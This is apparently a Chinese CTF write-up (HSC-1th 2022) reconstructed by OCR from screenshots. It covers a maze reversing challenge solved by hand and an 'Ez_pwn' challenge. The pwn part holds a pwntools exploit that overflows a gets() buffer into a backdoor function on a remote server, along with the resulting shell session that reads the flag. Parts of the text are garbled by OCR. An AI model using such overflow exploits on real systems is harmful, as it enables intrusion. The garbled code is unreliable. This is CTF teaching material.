逐重扫描[MI]] 任务查看器(I] 选项(Q) 关于(A) 退出]					
▼帯十顶部(S)		CSDN@2ha0yuk7on.			



IDA分析,定位到关键代码,是一个maze数组,就是走迷宫 根据代码逻辑判断,0x4F是路,0x49是墙,一共有5行 本来打算写代码,看了一下手动走就行了

1 void __cdecl moveup(int *row, int *col)
2 {
 int row (/ famile() family())

```
int row_now; // [esp+icn] [eop-cn]
    5
    4
   5
        row now = *row - 1;
   6
       *row = row_now;
   7
       if ( maze[5 * row_now + *col] == 73 || row_now < 0 )
    8
        {
   9
          puts("ouch, hit the wall...\n");
          system("pause");
 0 10
  11
          exit(0);
   12
        }
 13 }
                                                    CSDN @2ha0yuk7on.
                                                  ; ___gcc_register_frame:loc_4015801w ...
.data:0040C004
.data:0040C008
                           public maze
.data:0040C008 ; unsigned __int8 maze[26]
.data:0040C008 maze
                           db 4Fh, 4 dup(49h), 2 dup(4Fh), 49h, 4Fh, 23h, 49h, 3 dup(4Fh)
.data:0040C008
                                                  ; DATA XREF: _movedown+311r
.data:0040C008
                                                  ; _moveup+311r ...
.data:0040C008
                           db 2 dup(49h), 4Fh, 49h, 4Fh, 6 dup(49h), 0
.data:0040C022
                           align 4
.data:0040C024
                           public rowp
```

	\Rightarrow maze = [0x4F, 0x49, 0x49, 0x49, 0x49,	
	0x4F, 0x4F, 0x49, 0x4F, 0x23,	
	0x49, 0x4F, 0x4F, 0x4F, 0x49,	
	0x49, 0x4F, 0x49, 0x4F, 0x49,	
6	$di = [119_{\mu}97_{\mu}115_{\mu}100]$	
	<pre>print(len(maze))</pre>	
	row = 0	
	col = 0	
	for i in range(100):	CSDN @2ha0yuk7on.

PS D:\CTF比赛\2022\HSC-1th\re-WAY> PS D:\CTF比赛\2022\HSC-1th\re-WAY> PS D:\CTF比赛\2022\HSC-1th\re-WAY> .\maze-upx.exe find your way out! sdsddwd good j0bb!! flag is the value of md5{your_path} 请按任意键继续... PS D:\CTF比赛\2022\HSC-1th\re-WAY> | CSDN @2haOyuk7on.

PWN

Ez_pwn

没有限制字符输入长度,存在栈溢出,并且给了后门函数,直接写exp即可

```
1 int cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3
    char v4; // [rsp+10h] [rbp-40h]
 4
 5
    setvbuf(stdin, 0LL, 2, 0LL);
 6
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
 7
 8
    puts("Please enter a string!");
    gets(&v4, 0LL);
 9
10
    return 0;
11 }
                                                    CSDN @2ha0yuk7on.
```

```
~/下载/CTF_GAME/HSC1th/exp.py-Su
   Edit Selection Find View Goto Tools Project Preferences Help
 ile
      from pwn import *
      context.log_level = 'debug'
      io = remote('81.68.120.192',10733)
                                                                                       root@kali:~/下载/CTF_GAME/HSC1th
      io.recvuntil('string!\n')
payload = b'a' * 0x48 + p64(0x400741)
                                                       文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
                                                           'dev\n'
      # print(payload)
                                                           'flag\n'
                                                           'lib\n'
      io.sendline(payload)
                                                           'lib32\n'
                                                           'lib64\n'
 ±Ź
      io.interactive()
                                                            'pwn\n'
bin
                                                       dev
                                                       flag
                                                       lib
lib32
                                                       lib64
                                                      $ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received
                                                      [*] Interrupted
                                                       [*] Closed connection to 81.68.120.192 port 10733
root@kali:~/下载/CTF GAME/HSC1th# CSDN @2haOyuk7on.
```